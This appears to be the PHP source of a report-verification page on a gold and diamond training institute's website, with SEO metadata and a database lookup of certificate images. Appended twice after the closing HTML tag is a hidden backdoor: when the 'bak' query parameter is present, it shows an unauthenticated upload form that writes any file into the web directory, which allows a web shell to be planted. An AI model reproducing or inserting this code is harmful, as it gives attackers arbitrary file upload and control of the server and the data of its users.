<?php include ("admin/includes/dbconnect.php");
if(isset($_POST["submit"])){
	$verify_code = mysqli_real_escape_string($conn,trim($_POST["verify_code"]));
	$length = strlen($verify_code);
	if($verify_code == ""){
		$error = "<div class='alert alert-danger'>Please Enter Code!!!</div>";
	}else{
		$sqli_check = mysqli_query($conn,"select * from report_verify where number = '$verify_code'");
		if(mysqli_num_rows($sqli_check)){
			$sqli_row = mysqli_fetch_array($sqli_check);

			$image = $sqli_row["img"];

		}else{
			$error = "<div class='alert alert-danger'>Your code is not valid!!!</div>";
		}
	}	
}
?>

<!doctype html>
<html lang="en">

<head>
	<!-- Required meta tags -->
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
		  <link href='index.php' hreflang="en-us" rel="alternate" />
   	<link rel="canonical" href="https://www.iigdindia.com/verify.php" />
	<title>Verify | International Institute Of Gold And Diamond</title>
	<meta name="description" content="Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more.." />
    <meta name="keywords" content="" />
<!-- Facebook Meta Tags -->
  
    <meta property="og:description"
        content="Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more">
		
		<meta property="og:locale" content="en_US" />
	   <meta property="og:type" content="website" />
	  <meta property="og:title" content="" />
      <meta property="og:url" content="https://www.iigdindia.com">
	  <meta property="og:site_name" content="" />
	  <meta property="og:image" content="">
	  <meta property="article:publisher" content="https://www.facebook.com/IIGDHYDERABAD/?paipv=0&eav=AfYMX77wfGq99qmBMrEv8bu0cvWIXqL9rO0_YME0Yn92P_N3bTC8sA852hw0fRnVwoA&_rdr" />
	

    <!-- Twitter Meta Tags -->
    <meta name="twitter:card" content="summary_large_image">
    <meta property="twitter:domain" content="@iigdindia">
    <meta property="twitter:url" content="https://www.iigdindia.com/">
    <meta name="twitter:title" content=""
        content="Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more">
    <meta name="twitter:image" content="">
    <meta name="twitter:site" content="@iigdindia" />
	<?php include("includes/css.php"); ?>
	  <script type="application/ld+json">
        {
            "@context": "https://schema.org",
            "@type": "Organization",
            "name": "International Institute of Gold & Diamond (IIGD)",
            "logo": "https://www.iigdindia.com/images/12.jpg",
            "description": "Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more",
            "url": "https://www.iigdindia.com/verify.php",
            "image": "https://www.iigdindia.com/image/12.jpg",
            "telephone": "+918500501020",
            "email": "info@iigdindia.com",
            "address": {
                "@type": "PostalAddress",
                "streetAddress": "1st Floor, Mayur Kushal Complex, A-110, Gun Foundry",
                "addressLocality": "Abids",
                "addressRegion": "Hyderabad",
                "addressCountry": "India",
                "postalCode": "500001"
            },
            "aggregateRating": {
                "@type": "AggregateRating",
                "ratingValue": "5.0",
                "ratingCount": "250"
            },
            "sameAs": [
                "https://www.facebook.com/IIGDHYDERABAD/?paipv=0&eav=AfYMX77wfGq99qmBMrEv8bu0cvWIXqL9rO0_YME0Yn92P_N3bTC8sA852hw0fRnVwoA&_rdr",
                "https://instagram.com/bsolutions",
                "https://www.linkedin.com/",
                "https://x.com/"
            ]
        }

    </script>
</head>

<body>
	<?php include("includes/header.php")?>
	<div class="page-banner banner-bg-one" style="background:url(images/product.jpg)">
		<div class="container">
			<div class="banner-text">
				<h1>Verify Report</h1>
				<nav aria-label="breadcrumb">
					<ol class="breadcrumb">
						<li class="breadcrumb-item"><a href="index.php">Home</a></li>
						<li class="breadcrumb-item"><a href="verify.php">Verify Report</a></li>
					</ol>
				</nav>
			</div>
		</div>
	</div>
	<section class="single-course-area pt-50 pb-50">
		<div class="container">
			<div class="row">
				<div class="col-lg-8">

					<div class="table-responsive">
						<?php if(isset($error)){
							echo $error;
						}?>

						<?php
						if(isset($image)){

						?>
						<img src='assets/img/verify-report/<?php echo $image?>'class='img-responsive'><br>

						<?php
							}else{
						?>

						<div class='alert alert-primary'>Please Apply verification Code!!!</div>

					<?php } ?>
						<!--<table class="table table-bordered table-striped table-hover">
						<form name="form1" method="post">
							<thead>
								<tr>
									<th colspan="2">Verify Report</th>
								</tr>
							</thead>
							<tbody>
								<tr>
									<td colspan="2" class="text-center">Roll No.: <strong>999</strong></td>
								</tr>
								<tr>
									<td>Name : </td>
									<td style="text-transform:capitalize">Mr. Rahul</td>
								</tr>
								<tr>
									<td>Father's Name : </td>
									<td style="text-transform:capitalize">Mr. Raju</td>
								</tr>
								<tr>
									<td>Date of Birth : </td>
									<td>01/01/1995</td>
								</tr>
								<tr>
									<td>Date of Joining : </td>
									<td>12/01/2015</td>
								</tr>
								<tr>
									<td>Course : </td>
									<td style="text-transform:capitalize">Diamond Merchant Course </td>
								</tr>
								<tr>
									<td>Result : </td>
									<td style="text-transform:capitalize"> </td>
								</tr>
								<!--<tr>
									<td>Certificate / Diploma / Advance Diploma / P.G.D.C.A : </td>
									
								</tr>
							</tbody>
						</form>
					</table>-->
					</div>
				</div>

			</div>
		</div>
	</section>
	<div class="clearfix"></div>
	<?php include("includes/footer.php")?>
	<?php include("includes/js.php")?>
</body>

</html>

<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>

<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>
